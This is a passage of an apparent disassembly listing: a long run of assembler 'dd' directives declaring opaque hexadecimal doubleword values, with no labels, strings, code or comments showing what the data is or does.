0B0694D62h, 0C40D58F0h, 0EC4AB4DDh, 82173Eh dd 0F9A905CBh, 592DB960h, 92B9DFD2h, 8197ACCCh, 8BB36BB7h dd 0D6962921h, 6E9D9A4Bh, 0CD02883Dh, 0EE166851h, 4F757E76h dd 2D35DC46h, 5D385FD8h, 0A6F16617h, 59149DCCh, 25E6AE5Bh dd 527F87EAh, 8D7E642Ch, 554A0E8Bh, 428AE7C9h, 22DEED87h dd 3B2D0056h, 0BF7192A9h, 9A460D2Fh, 0D2963991h, 0BBC25825h dd 517D3952h, 1DFD6176h dd 190B6090h, 27721189h, 23CEC4FFh, 42263B3Ch, 0F254A45Ah dd 3F26B96Ah, 9D412E75h, 8158C9D1h, 81F4026h, 5033C124h dd 5179021Bh, 0C60CC496h, 772BCA9Dh, 0C44726CBh, 0EF970E72h dd 0D67B2903h, 1D349722h, 71B6B7DBh, 7A1C5E55h, 6981043Fh dd 0CC79F388h, 9BD7E92Eh, 2A9BDAA5h, 0B78D5759h, 63E51A39h dd 0E347391Eh, 4FA586h, 0E833F860h, 2DF80864h, 0C7207861h dd 8DF022BFh, 824D7755h, 24E32350h, 405A36F7h, 0D1381717h dd 0F53807DDh, 0D8CD1758h, 0AF6FFCBh, 7A2C3223h, 4F8E561Fh dd 0F24C952Fh, 6D6E2E7h, 8F5F32C5h, 32C2353Ah, 50014BF0h dd 385926E9h, 4ADFABC4h, 168A0BA9h, 9340CF4Eh, 3A2D0BCFh dd 0C74756C5h, 0DD9C785Bh, 4FE3062Dh, 4DD62D30h, 8BBEF6F0h dd 690B6F27h, 49385561h, 9E75C2EFh, 90C56597h, 8398A276h dd 0EC0F37Ah, 0C50CC190h, 7536EA32h, 0FF51C540h, 9A9AD14Ah dd 461217E1h, 4759090Fh, 0C5A79A1Fh, 52C517F0h, 0BDBD717Dh dd 0BF325496h, 258844F4h, 0DEDBD34Dh, 8D534D0h, 0C4F76737h dd 0CA69B76Dh, 9457F4A6h, 99707D41h, 2863284h, 1760BC81h dd 506BCFEAh, 703F0CC4h, 0E252D87Eh, 20C0D193h, 0B919EE66h dd 612D2F9Fh, 91280D13h, 2C85F7B1h, 5D07BD6Fh, 29E9AB30h dd 92B1A91Bh, 87C90194h, 0CB1FFCEEh, 0D7B02AB2h, 0B17C0596h dd 6CBF517Eh, 2344E06Bh, 0BD0F8161h, 574510D0h, 25A5CE2Bh dd 0A145CBA3h, 136915D6h, 8A347B1Dh, 3A9C17C4h, 0E81B3B5Ch dd 2B50A754h, 75F41E48h, 28CBC607h, 8B0051D4h, 30FF6789h dd 0B2F14989h, 16BDB303h, 6BB558F2h, 3E7BFD3Ah, 492EB3D7h dd 40EEB01Bh, 9A098003h, 37DD5356h, 5C54F3FCh, 5198A1D4h dd 779B9BB4h, 0E430AF08h, 2D504140h, 2B251BB1h, 25914750h dd 5604FD92h, 0EF1EE58Bh, 7D19A81Fh, 0FFA09AAEh, 594BFB0Ah dd 3901AE61h, 705EF89Dh, 0FF4E77A0h, 0BED67D23h, 514814C2h dd 0B3DD9D4Eh, 4BB1B9D5h, 0EE047745h, 0DF9AEDEh, 0B03B977Fh dd 207C3F5Eh, 3A80242Fh, 545A159Bh, 16AF6697h, 349AB22Bh dd 0ECE19176h, 712CB6F0h, 0D22B6540h, 0F2AC3BCCh, 18576604h dd 6A7DD8C5h, 7A71915Bh, 4C906A32h, 8023013h, 1BB7E133h dd 190CFE17h, 50D5654Ah, 0C1E7646Ch, 0E1478085h, 0B44C2235h dd 0ECDA680Eh, 0C479D813h, 0F5A08D30h, 58C35E5Bh, 0F0AFECB5h dd 2827FA2Bh, 96923D95h, 2D1C3739h, 16B0F433h, 6FBAC841h dd 0CA686016h, 7F72F5A3h, 6FCB2A90h, 0A9C3FE52h, 0F6CC0598h dd 779E0FD7h, 0ECCC8CF0h, 0AAE3DFA9h, 81BD83FEh, 58E56C51h dd 0E7BDB23h, 0BA522B13h, 72F59AC8h, 41E519C2h, 0D36B5EEEh dd 6A744FA9h, 41761DADh, 29399145h, 3CB35C99h, 0FA1AC13Ah dd 54B6588Ah, 9E211A5h, 80740FC2h, 157A7D6Bh, 0EF7ED74Ah dd 0B9BA5289h, 0C38FB3E3h, 0DD497C42h, 1E2B3100h, 0C8BC0D4Ch dd 0BDC43F2Dh, 591DC434h, 0E8C7F665h, 0C841EA9Ah, 0E243841Fh dd 0F5440DFDh, 0CB815B16h, 7F147BF5h, 0CAB8A984h, 0EE2B7124h dd 75A3C22Eh, 3E11311Dh, 0D51A6FB4h, 0E149DCCFh, 7BA2A19Fh dd 5F29861Ah, 59D5D3E6h, 366FCC7Fh, 22E4BAC5h, 7104DED2h dd 0DC0D39F0h, 3FA8BDF0h, 6778F4h, 0E097D726h, 0F5CBDD3Fh dd 753EC074h, 0D855AFB9h, 0EDBF26E2h, 0B53069A8h, 73EB4255h dd 30E542AEh, 0ACF4301Bh, 7B5F5914h, 97D0A718h, 4859A545h dd 63F6C832h, 0A3A76E21h, 0B01B9663h, 20282h, 0E303E71Dh dd 8B3795DCh, 0A66F911Dh, 17B1A087h, 2CD989BCh, 0B558F790h dd 9EA93644h, 6F46CC6Ch, 0B796D563h, 0B375DB36h, 4A058E04h dd 46A5D478h, 3540A84h, 67722396h, 44284DD6h, 2966A909h dd 0BEE49D14h, 57DB9895h, 58A95Dh, 4019A816h, 0C11D2B02h dd 0ACB82492h, 17C3B26Ah, 156197C8h, 3D2B8FE9h, 2A937C26h dd 893BAECAh, 4F4FB06Dh, 0C378F15Bh, 0DE62BAA3h, 311CD671h dd 76A925AAh, 0DA73CAA5h, 0B0C594FCh, 374CB57Bh, 0C75C5EA7h dd 12D41E82h, 2F9ACDDh, 0AA680840h, 5719C223h, 577F9C42h dd 0F4F3A163h, 9B65CD93h, 56F29156h, 0C1451521h, 61D05BDAh dd 0C21A7326h, 0F5034394h, 3B554589h, 33E4657Ah, 0A351291Ah dd 0E3DC6B85h, 0CC15E589h, 942A37A0h, 72896C94h, 0A6FCCBFCh dd 0BD503E13h, 7660CFD4h, 144A8C2Dh, 0ECE3C456h, 1C8F561Eh dd 62D8AA50h, 4D07AEA6h, 899B9FE0h, 62670058h, 0BDAA4E19h dd 369D9784h, 721371A2h, 1053E21Bh, 0F8AC4C3Ah, 995C5A9Ah dd 55487692h, 96E3C701h, 52CFBA5Bh, 0FE2D33B0h, 8D9D7DF0h dd 18FD4713h, 5D1627F2h, 0CA975EC3h, 0A00772EEh, 1DF78BA6h dd 0B7D518E6h, 0CAD3DC50h, 7F54B597h, 0E12EEA3Eh, 230BA5D7h dd 6BED1256h, 991A8C7Ch, 0D7A1C764h, 8F121B88h, 0D95345A5h dd 12B68193h, 53C987E2h, 284F05Bh, 8395D8ABh, 0B8350CA5h dd 3BA9F8A4h, 0A7AFE4DAh, 855A5F19h, 0BE5AB95Eh, 80DD79C7h dd 0A811EB25h, 9B1ED23Fh, 4F6DE80Ch, 0DDEE439Fh, 37DF9D9Eh dd 0AA4E3890h, 7B07707Eh, 4A6D159Fh, 0E4F9E844h, 8A7A04Ah dd 23597A1Ch, 0DFE94D2Fh, 240B89ACh, 63A63B43h, 730E2565h dd 7F298BFCh, 17461A04h, 0D5DE04FAh, 6D90F7CAh, 59DFB086h dd 392EDDBDh, 0D4C1A1F2h, 0C730B5A3h, 0C4D260B0h, 91742625h dd 0E0D259FCh, 96E2362Bh, 0EB26C968h, 2E254598h, 0DEA6E302h dd 14909FFDh, 10D3AA89h, 0A411D690h, 52AB8155h, 21A03007h dd 5BEAD21Dh, 686D468Bh, 87D62652h, 5FA55858h, 0AC24D31Ah dd 3E59C87Ah, 65B39ECEh, 58188FBDh, 0F8AB4606h, 0A8A89D50h dd 0A39B1E4h, 9106B37Ch, 0ACEDE725h, 0D6D9D273h, 0E788FF69h dd 7BECC584h, 94B0ECE4h, 3679FFA7h, 8F6DC6F5h, 2A565F91h dd 1020D695h, 3D3AAD09h, 10683CC7h, 0D80ECEE4h, 0FEBA1F7h dd 0DCB70777h, 0EBB94290h, 0D331386Bh, 0DCD37D7Bh, 0E082DE4Ah dd 1A00DF84h, 0EE06BFA0h, 73B84A52h, 588A1A6Dh, 0F0B0049Bh dd 5456AFEAh, 6810D006h, 0FC6E7E45h, 0A284A8C8h, 0CF08824Bh dd 7971D174h, 0D954E423h, 0A5DDB558h, 99E6B923h, 156960E6h dd 967D60E2h, 10899EB3h, 8EFDFA91h, 7A84A802h, 3C70DF44h dd 0A48CF2CCh, 147C2BDh, 202CCA15h, 2B7C06F5h, 7DEF3F1Fh dd 0F5415B47h, 0A6D443B0h, 0EDBDA3F0h, 0D1F34FB7h, 85E48640h dd 0A9D68262h, 198CDCh, 7F32B07h, 24D86967h, 2E858B6Dh dd 0DDFB7FCBh, 0FAF60114h, 0EDFE0548h, 0D6D67023h, 0DC4248D2h dd 12994294h, 0C9B1ACFFh, 73F090F4h, 2F2C3CF7h, 0D649809Fh dd 0C601C975h, 0D4C57F19h, 829BAE4Fh, 0B1809FDh, 5950D70Fh dd 0EF937DFEh, 3B270A63h, 0F2B8032h, 59180B72h, 3797D038h dd 0B5F1ED6Dh, 52D80595h, 513DB36Ah, 7F66BBAAh, 48A98996h dd 6D5E8F22h, 0F5AF883Ch, 0C3237A01h, 54AD95CBh, 0E7FF69EAh dd 0CC9149EEh, 9C74B3BCh, 89944FD9h, 1017146Ch, 34BD76F9h dd 92E154C0h, 613AF218h, 76F26CDDh, 63E408C6h, 0C350E5BCh dd 27873EADh, 0AABDD9Eh, 0C4340B32h, 866BAA82h, 5218382Fh dd 89BBA30Eh, 5B4CD4B5h, 0EC7E980h, 7A1C47B6h, 55C06489h dd 446F961Ch, 0FC37105Ch, 8D6F7698h, 0BC86C292h, 0E5B51F46h dd 461D36D6h, 0C3F0CDD8h, 6FAEC863h, 0D3327B7Ch, 72034722h dd 4570B69Ah, 0FE5A63FEh, 0BC40C0EDh, 5493F212h, 5F48A348h dd 0EEE0C9FAh, 3CA6EAA2h, 0E4551DE2h, 0B0EBD9F7h, 81084C21h dd 475C92C0h, 3A4DDD07h dd 0B70083F8h, 51B6646Fh, 62C99599h, 1D15D4B5h, 0EC61AF4Ch dd 6F6FDFF4h, 608E7996h, 49EE6506h, 45F1F458h, 3F59D1CCh dd 0F8EE9F8h, 2CC9E5EAh, 0E14BF7D3h, 48B3303Bh, 50465A4Eh dd 51D478B4h, 463ED6A0h, 0C39BA755h, 0FFFF025Dh, 5BE2B847h dd 759CC8F5h, 0C3EBF57Ah, 2E9D2918h, 14E1D226h, 9F06B1F1h dd 3DAA601h, 70272493h, 3680EDB2h, 3B88C5AAh, 0BC8A0C12h dd 0BF77F4D3h, 9872CB5Bh, 44D06D93h, 42146297h, 0FAA26CA6h dd 7BC740B7h, 0CDA214D4h, 0ACA524CEh, 1AF6757Dh, 0F2DD3412h dd 0A27D13B2h, 619F3EAEh, 0EF748558h, 840A450Ch, 5E4AA669h dd 0C82C9146h, 0E8957F15h, 64691ADBh, 5131B2B7h, 39F96621h dd 0F807461Ch, 2DCCCB28h, 2E43BF99h, 0A18C4D86h, 0EEA85387h dd 70CB00B6h, 0EA9DD2F6h, 0A4E3A99Ch, 0D42F6B17h, 912412CBh dd 8EFD3A49h, 5E91FCFAh, 0C9506C3h, 0F0B759B7h, 0FB1E2FC0h dd 634C8107h, 8D946423h, 5D26BF7Dh, 29290ABDh, 0B027697Ah dd 4C0D3C5Ch, 9CE349AEh, 0CCF35CE4h, 52B39974h, 4F1132C9h dd 33A2B0F1h, 6FC9E6C8h, 1D752F29h, 22E64F13h, 5A45E668h dd 42393728h, 115C1576h, 0F7802F06h, 0DE079B10h, 595F7D8Ah dd 0E04AA456h, 6A6A26B0h, 2CB7B492h, 9D6028EFh, 0E3477AEAh dd 0F2A82303h, 3F548B99h, 9E2CC27Bh, 0BD154B6Ch, 30053C1Bh dd 0C18F7B23h, 489312F3h, 14C9B24Ah, 2E95C5EBh, 1FFA5578h dd 2436AF93h, 21E88B11h, 958AB805h, 0DC769CE6h, 0BE4D41AEh dd 349C3E58h, 2D00DC42h, 0B11D1AD3h, 37BBF197h, 8915D4CAh dd 0FAC5F963h, 0AA31A9B1h, 9AABCA34h, 3BF0691Ch, 78409CA9h dd 0F822863h, 95C0396Ch, 0C17E785Bh, 404DA1Ch, 0D17EB05Bh dd 3EAA90C2h, 0C89CDE5Bh, 78971933h, 154C7676h, 11D844B7h dd 6A56724h, 0F5A9075Dh, 960790AEh, 68A9833Ah, 63ED1F73h dd 251249D3h, 0A31B8E30h, 671EE793h, 0A8940221h, 0A1976891h dd 207ECED4h, 5CE84BA6h, 19DB4E68h, 0CE7D3F9Eh, 1A22CA6Fh dd 0EF8292Eh, 6D5D5A80h, 97576259h, 0A30494EFh, 0A23CFDE4h dd 0B92E19DCh, 8A5C5079h, 4D31EC5Bh, 0AC8E0AA5h, 82425C08h dd 0D5C96883h, 7C1EF0D2h, 0AEDEAB24h, 0B519567Fh, 287FCE41h dd 0D098ADAAh, 7C554EBDh, 3A024ADEh, 8A1A4FF2h, 52D30D05h dd 7C0711AEh, 6E4034C4h, 6AAE87BBh, 0CA35D4B1h, 0E83EE80Dh dd 55B3928Ah, 0D21BE2E5h, 0E94B3524h, 1034980Dh, 88189D4Dh dd 90B7FC0h, 8B51517h, 96F380CBh, 0D662076Fh, 0DE907766h dd 0CF69EE01h, 3CAF1B76h, 0B68AEDD5h, 0EA78D97Dh, 21ECBB99h dd 51E14951h, 7B788DD0h, 343B1EA0h, 0F7CF0F3Ch, 0A59D67AFh dd 196D2E0h, 8B8B57EBh, 0C65ADE1Fh, 8D23D32Ch, 7EDFBDE7h dd 6EDC36FFh, 0A90C56BAh, 45D65B2Ch, 0BE5A3E3Eh, 442A7872h dd 0CEC8C084h, 5F632DB6h, 3AFB30E6h, 0F56C34C2h, 0AB8D86EAh dd 802CF10Ah, 0D6F00787h, 9EE20955h, 7218B981h, 0A7BA45B3h dd 269D8F7Fh, 7C6673A8h, 3D3B56DBh, 0D488173Ah, 28FF5243h dd 0E26F0145h, 3DEC9E9Dh, 0FCE9A1F0h, 3BF6238Ch, 147BC28Ah dd 30F5A11Ah, 0C07C3136h, 52840081h, 81779BB9h, 3F1DEE2Ah dd 2547A808h, 94BBD9E7h, 0C19B9850h, 0A4B9FCAEh, 0B30D94B1h dd 270663F5h, 0F3AE6D5Eh, 2CDB5AD3h, 5D6136EDh, 8469874Fh dd 0FE1461E3h, 0B7A0ABDh, 0A6FA12AAh, 0CC0BE961h, 2601D651h dd 5828463Ah, 7F943Ah, 334F5060h, 1B443FCh, 1F18688Fh dd 1DCA625Ah, 0FA58F1E3h, 0AC684D69h, 0AA7168CAh, 9CDB989Eh dd 5E53B15Ch, 459DE164h, 0C301A1BBh, 0A07EA9E6h, 5E8BE1BAh dd 0D0E55ACEh, 0FC9F8DABh, 857A8191h, 7829112Ah, 0B04E46E5h dd 0FA379312h, 45557C4Eh, 35A995D3h, 0BE375008h, 8AE01317h dd 0E695D3EAh, 0C248F0DAh, 0E5BF49BEh, 0B3F9F066h, 4C0ABB0Ch dd 30B64C71h, 7428FED8h, 171A8B9Ah, 7E885E91h, 0D672B7EBh dd 7FC7A99Ch, 0A4381E5Fh, 493A9BC7h, 4178419Ah, 0DB4B2179h dd 0EE60B0h, 2DFE299Eh, 8D3C36A5h, 790E3E95h, 545BFC9Eh dd 0BECB7D45h, 2702AFF0h, 8DC7E3E0h, 13E2DD57h, 0D0FFD0B3h dd 743DB438h, 9018AE5Dh, 843EE969h, 80ECFE1h, 0F78F3487h dd 9BA61CF5h, 5FE9C6D6h, 788BE826h, 0DF72D2D2h, 2994FF42h dd 4953E595h, 1DFFA399h, 2CAB00E8h, 4F30A450h, 0ACB96B89h dd 9D09D06Ch, 0E1DCBFFBh, 89235844h, 19B4609Dh, 60CE624Fh dd 0C04553DFh, 3D8B6CE4h, 0F8CB7D0Bh, 3E16D1Dh, 0E13CB93Bh dd 65FAE6C9h, 4D76A54Fh, 5E01156Eh, 0F793AC69h, 80F5A6E4h dd 9C840DA7h, 790E5E39h, 4616CF08h, 91A472F4h, 38F2A0E0h dd 909417C0h, 3C3BEC24h, 6DECB26Ch, 60FE8E81h, 0F508E7AAh dd 9EA27FA8h, 0BAD1A654h, 30F8454Ah, 8321B981h, 94FE338Ah dd 0ED8A4DF1h, 2FB992C9h, 0AEDCCD5Ch, 0CED772Ah, 6813CF1Fh dd 42C77F2Eh, 1FF4FC8Bh, 0E7D7B99Ah, 7EB9E5Ch, 0F8B7F70Ch dd 3D39A9F9h, 0D0864FBAh, 425B90EDh, 742967F9h, 0BA596006h dd 0CAF03FCAh, 25AFFDC8h, 0C648638Bh, 937500B3h, 0BCF7FA46h dd 0EA46CA81h, 29ED494Dh, 8C9AD2E4h, 0AC1D51E1h, 3A2759ADh dd 1FF50BE7h, 0ED9ED884h, 483578A7h, 0D6508EDEh, 2EA74DE8h dd 83B926B3h, 0ABB89FF6h, 70D6207Fh, 0E0FC87E2h, 9B4EA58Bh dd 9591A33Dh, 0A6B1C4Fh, 0FBFB48C1h, 0D44CBB86h, 7DFABF41h dd 53A2D6B6h, 0BA9ACF3Bh, 0B168BAFFh, 5C6E9620h, 0BF522962h dd 90B7DE2Bh, 33CC5048h, 2F59F5Eh, 6420312Ah, 0F3D736FEh dd 2D782599h, 0FD626360h, 5388B03Ch, 0DF2D1366h, 0EB756D7Bh dd 894B4FCh, 4E8F67BDh, 0A4F551FCh, 7560E4A6h, 0A4768B5Bh dd 0C6E96FBAh, 61B8567Dh, 63DD9129h, 6AF3B913h, 48F88D12h dd 3436471Ch, 5230965Dh, 9BBA9082h, 6AC53242h, 0CF19C4EFh dd 0A2547AEDh, 43F6C2D3h, 6ACFD484h, 0ABE9751Ch, 0A8D46EC4h dd 0BE0F8FEDh, 0A89E3F69h, 5E347DC7h, 254FA67Bh, 0BF42AD8Dh dd 0B0AB87Fh, 0C22B6CC4h, 0E3EB387h, 0F5F266CBh, 2237DAA1h dd 0A01FA663h, 92FD076h, 0A6977FA2h, 4266AA80h, 2765E811h dd 0B689C93Eh, 79A90E6Ah, 0CE18E279h, 279ADAD8h, 57F8C4DCh dd 0EAA0046Fh, 64D6A550h, 0D84A8A8Eh, 6DB31908h, 0F14B5E4Bh dd 0F828935Dh, 5CEC141Bh, 0E20A4D3Bh, 5A4FA893h, 0A37CADC9h dd 0EB18B89Ch, 1E56B4C8h, 91A27C13h, 63CEC551h, 0A20A4477h dd 2BB92B85h, 0B097B4F1h, 8672A37Ch, 5FB87D98h, 0E2F7589Dh dd 0BD4D7629h, 0AC22D9F2h, 955A3F73h, 4D554B68h, 84D1A428h dd 0DA9593D1h, 0F2FC0E5Fh, 15385414h, 0D324793Bh, 9B8BBD5Ch dd 0C64DE1F6h, 210BA985h, 0A7795D49h, 56DF23Ah, 0DB1C7BEFh dd 0C9E2B9F7h, 61913B65h, 19C00365h, 9DA19825h, 8B1A5E0Bh dd 5749A2A1h, 4198A95Fh, 39FE8771h, 0AD69F14Ch, 0C44A8078h dd 30838788h, 24935624h, 6EE00004h, 0DB8B1A32h, 47D4FAEDh dd 9362C56Dh, 0AAC083A0h, 172B7FFFh, 0DBF82699h, 0F9ED747Ah dd 0F61F3190h, 846E03A1h, 1B22CA24h, 0E6F95755h, 0AF7A71D1h dd 310BD2B9h, 624DCF36h, 51B972B9h, 32CB2743h, 0CC962EC8h dd 2CA4B22Dh, 0F6446131h, 7BB81C5Ah, 0B18F2CC8h, 62B74FF5h dd 3D51E635h, 62BF9C27h, 0EF42C051h, 0BDC64AFEh, 1AE2CAE6h dd 160A62CDh, 0FD4F9814h, 0D8B89363h, 671122A8h, 0C49AF3C5h dd 0FE7DD0E1h, 206A2CFAh, 7EE3FAE0h, 0DCFCA4C6h, 699DEBC9h dd 22DEB87Fh, 913E0051h dd 0C82D4D24h, 9E8EE179h, 0A5A736DEh, 979A1F73h, 0A46964ABh dd 608BDB62h, 0E503A3C3h, 1F5E1CE7h, 75C91A2Bh, 764ADC09h dd 4391487Ah, 0F0D99996h, 926860E0h, 27EEB98h, 0A950CF48h dd 25938C35h, 1C138072h, 8D1CFC40h, 8383A78Ch, 3F37B229h dd 32C5D7BCh, 0B9DB20Eh, 0B5A50FC5h, 3127368Ch, 27F8F960h dd 0F0899C3Dh, 0EA94106Ch, 2FB42DE9h, 0C806179Ah, 504A5707h dd 0EB83D9A0h, 48E0A7Ch, 50566C66h, 0F8A9F559h, 4B2F7B1Ah dd 0BD6169C8h, 2A150697h, 93B23298h, 1C5D4739h, 617BCD5Fh dd 0A8E93E01h, 7241A89Ah, 0C5827202h, 2878C918h, 9CEA5942h dd 56FED7FCh, 0A2A7C665h, 0F698EB9Fh, 6531C751h, 390C4886h dd 0ED219069h, 0D2EB16E7h, 0A31FBC71h, 0E1198420h, 6D330D2Bh dd 0CAC384E9h, 0D249DD4Ah, 7347E316h, 3A1FB07Eh, 0FFD156D3h dd 0FB7BE095h, 0C2939016h, 1D3103Fh, 0B94ACFFFh, 0DCB44E67h dd 2D64CB2Bh, 0EC49AC9Fh, 321FDD61h, 0A8BEDF59h, 3A97F4CCh dd 0FD066F74h, 0F0DFA144h, 0BE396BE6h, 7AC58296h, 5BA05FBEh dd 451E5EB7h, 17FA2077h, 54F0FDA3h, 0BE9BB16Eh, 80140677h dd 127F6459h, 65D3DF82h, 0E8506CB6h, 310D6387h, 0D5C56195h dd 0C4D2FBCh, 0AE264027h, 321AA662h, 1DF6D395h, 78EB63EEh dd 0E1C5A119h, 0CF1A126Bh, 0A14A6DBFh, 1D7E94BBh, 0FCED8F2Ch dd 0FD6E0415h, 4B71E73Fh, 0B1028275h, 2C243C01h, 8F55E48Ch dd 67CD97D1h, 0C9280319h, 253973BEh, 9BF2684Ah, 0A50F522Eh dd 298B978Ah, 0BEF27993h, 26AE7087h, 0A4664DE1h, 50D35522h dd 0A8BCF69Ch, 0E41E3C6Eh, 7531B761h, 1307B2FFh, 0AA049912h dd 0F731ED27h, 0DBEDD418h, 71B9977Ch, 0DF721062h, 91D5975Dh dd 0B254D52Ah, 0D7D3E0D9h, 0A0A0C35Eh, 0C552D52Ch, 0A21EF89Bh dd 0D7333EA1h, 0F53AF6C9h, 6970E80Ch, 304A3894h, 17299C58h dd 7CCEDED5h, 0A743666Ah, 0A7CE90BDh, 0DF266B59h, 5851590Ah dd 2562D856h, 25777D51h, 215E6F76h, 20F1A75Fh, 212C9E14h dd 4B9BE5E5h, 61DDE626h, 0C4FD3856h, 2C95FCB5h, 9A5CA048h dd 0A2E61FFCh, 908EC9BAh, 46CB6B4Ah, 9BF69F8Bh, 0CAF5E059h dd 0AFE88306h, 2A4CCDA9h, 9ECCF1ADh, 3DAD4AB4h, 0B392FB7Ah dd 0E23E72Dh, 0CFF26FF3h, 0D935BDD0h, 0DA1F098Dh, 0F902800Ah dd 314E9FA3h, 0BB578F31h, 8931E16Ch, 0E7918F5Ah, 0A703BE37h dd 0ED3D527Ah, 2A10BB31h, 68D8FD23h, 0B241A413h, 0BD3AC7F2h dd 2726536Eh, 0EB733A0h, 0EEFA2087h, 5A73BD8Bh, 0D3DEAC93h dd 0B2702C97h, 0DB6C2FAAh, 35D27FC6h, 74EB82E9h, 2117BFADh dd 510C0BEAh, 0C48EB269h, 0B0B6D7A0h, 7A6F3E14h, 77273BFFh dd 833B067h, 0C7F06A62h, 0A3CE5D87h, 41399B7Eh, 0BED24387h dd 7C9D4A30h, 31BEB352h, 0F0AB8778h, 0FE8DC720h, 348C0133h dd 3E129240h, 0CB65FC1Ah, 7AEA0006h, 37147904h, 319EA33Bh dd 77665A87h, 63698AEDh, 0DB9B9531h, 5D5762F8h, 7365815h dd 2A88E82Eh, 29620FD9h, 3E6DAD04h, 20CB1B95h, 0A718349Fh dd 53B73C93h, 42F21D7Eh, 0DD7A4DA3h, 85AB4D1Ah, 2D0B304h dd 191A9BC4h, 711C5454h, 731D3749h, 0DD39C619h, 7A1AED94h dd 0B10B8FFFh, 0AD5AAA9Ch, 82E38A68h, 0B30E38C0h, 47A19322h dd 7C7882D4h, 6445062Eh, 95DF121Bh, 0C9848504h, 514241C6h dd 0A5C2E5DDh, 18E5FE55h, 2E6292A4h, 93B75838h, 4472344Ch dd 0F3BBEE69h, 0BDC0E938h, 0F804CCEBh, 0A3014AF9h, 4CC330BCh dd 48051818h, 0EF2FC32Ch, 3E61E5DDh, 57600D8Ch, 56E729Eh dd 4408986Dh, 0D7C6828Ch, 975AC047h, 2B433E9h, 0FF1CE24Ch dd 18FD9FF2h, 95857D35h, 0FE4DBB44h, 31050C0Dh, 4EE85330h dd 60B8FBA1h, 13B29D74h, 0B43547B1h, 0BA7208D8h, 7D279F2Fh dd 0E11254D5h, 0C338661Ch, 476BF8EDh, 0F863EA01h, 0FEF6879Eh dd 8D1EC5B5h, 8539A25Eh, 5D12FF90h, 4977D858h, 5ABBF606h dd 0A04188CEh, 2A1F385Bh, 5B1FE067h, 0AD106E2Eh, 72AFF9C7h dd 0A463CFFAh, 50566331h, 43CB4566h, 0C239C0EFh, 6F431386h dd 0B89F7037h, 0CAF36DAFh, 6435E667h, 3732AB57h, 7074DC6Ah dd 6D83DF15h, 6EB811B0h, 44F93280h, 98C1F2F7h, 97D4FC0Eh dd 75235070h, 8C0C6451h, 901CF744h, 0FA4C86CEh, 5D9CFFFFh dd 0E9BA4CA0h, 7DA23B72h, 0D460347Ah, 0C56FE11Fh, 0D08BF08Fh dd 2463615Ah, 0A38C5C71h, 0B634260Bh, 571F97C1h, 0DB35D7FDh dd 6D694439h, 31A39E8Ah, 7CBEF7AAh, 0CE6DA5EBh, 8688198Fh dd 5FFBBBE8h, 23E6F2DDh, 0B3691DE3h, 3FB05AFAh, 1471E556h dd 97BF074Fh, 700B42CEh, 0C6DAA744h, 958AB9E7h, 16552495h dd 2F5CDA82h, 911D2C87h, 80C1636Dh, 738A2699h, 638CDB79h dd 0B6FE2388h, 0AF2382A5h, 5097B31Fh, 0B722FEE0h, 0CCAF3C75h dd 0E79E1067h, 0FDF40893h, 507F2445h, 0F24E51FBh, 24F45EEEh dd 0B3BBB174h, 68D9C2Fh, 0A4EC4278h, 0FF013DDBh, 61E184EAh dd 4602E08Dh, 0D08FE81Ah, 0E2D3AEB0h, 3816D3FDh, 0AE806528h dd 0D48FF303h, 0D7C353A6h, 4EC36B64h, 0ABE647A5h, 5DA75FA3h dd 95A07E59h, 0C0F139CDh, 1F2C3624h, 0AF55C593h, 8D03095Fh dd 0AC6F3609h, 0A7235873h, 9DC91468h, 0F0662CFEh, 1A18F820h dd 95D05F1Bh, 2F680A9Eh, 6B47F657h, 32154B24h, 0B8243F6Fh dd 5BA75B2Eh, 4E371E61h, 0EFB0A950h, 0B3AACB2Ah, 356C805Bh dd 0D526AFFEh, 8EF31FD1h, 0F4C27A2Ch, 45DEC5C8h, 0C044EC90h dd 6B75C60Dh, 8711F4D2h, 6790FEDh, 0D24505BFh, 7776729Dh dd 0B292A543h, 0E7D509D6h, 0FC9E1F86h, 0DEAF9582h, 0BD855FC9h dd 1725786Ch, 68B98755h, 7A35519Ch, 0DF58E6Eh, 78B0D288h dd 0F0F5617Bh, 2E3CAF79h, 9E962078h, 0D0847912h, 610917F1h dd 0F2D38791h, 0EFC2BDC7h, 0E31D07C0h, 0E629AEDEh, 0BDC440E3h dd 0CD644446h, 9D42C92Eh, 3D0EAB2Eh, 0AF58BAC0h, 41BAD6AAh dd 52145758h, 87BC6088h, 0E8EE3344h, 0CC639021h, 0AB85F1Bh dd 89729239h, 0B7481ED2h, 83928F91h, 1A3CDC19h, 51AB2BDh dd 35CED341h, 414AF425h, 8B9245B6h, 3D235CAEh, 9922D93Bh dd 0A915DC01h, 79085FCAh, 57ED6615h, 51268B39h, 95C793D1h dd 0B1944484h, 5D0B297Bh, 4CB488EBh, 2DAAC28Fh, 0CD1DAA6Ch dd 61B62B59h, 0D06A50A4h, 2F7E5C82h, 0F2DB2B04h, 6CF46A3Dh dd 29C2DBECh, 90B8168Fh, 5A7089CAh, 2F23BF98h, 1A35232Ch dd 779671BFh, 42DB0C19h, 0A1A4E40Dh, 68678930h, 0DB270396h dd 7EEA29E8h, 4E3FA1E9h, 0B17264C8h, 0A9E5717Bh, 6FFE7980h dd 2FAD04CFh, 4ACFB12Ah, 0D4F12519h, 721CA905h, 0A3C72C9Ah dd 7154E4A2h, 0D54AC2F4h, 0C1AA0770h, 2628BD7Ah, 826D5F5Dh dd 13106804h, 59F495E3h, 3E014525h, 0EC7B92BFh, 5194D414h dd 0D4C58113h, 3CAB7304h, 75C1B379h, 6DA69735h, 0F3058C86h dd 8DA5C204h, 7A55C585h, 7106939Fh, 17D55FCBh, 5364F82Dh dd 0C55B153Eh, 0CDB99569h, 8B7239BFh, 4C0EAD72h, 309AB0DEh dd 0B37BCFA8h, 278BF1DEh, 0D30A4177h, 0E420EC64h, 5ACA57CDh dd 0F4493536h, 65E2BEA7h, 7D3B210Bh, 6F2DD645h, 9D3CCB41h dd 0AFE11AA5h, 0F1064582h, 76C68103h, 21C0990Bh, 0F687CE20h dd 85CF6818h, 702D17E5h, 12B60799h, 27F294B6h, 46DA7C9Ah dd 907CB732h, 4007EAD5h, 9DF7FF86h, 307886C1h, 0FEB0B317h dd 13E89538h, 0E0FAB00h, 0EFB540EEh, 17EDC40Eh, 0AD4E901Fh dd 0A1D9B02h, 3C44979Ah dd 3FE113C4h, 84A92AF3h, 48C86AA9h, 6450A89Fh, 0E7B362ABh dd 85AD56EAh, 3137ECBFh, 0D9B21E8Fh, 0EEE17E50h, 5092451h dd 47590C59h, 0F01FB9F3h, 0ACDCB4F8h, 59045063h, 4AE5146Ch dd 0F7A59302h, 0CA2DAB65h, 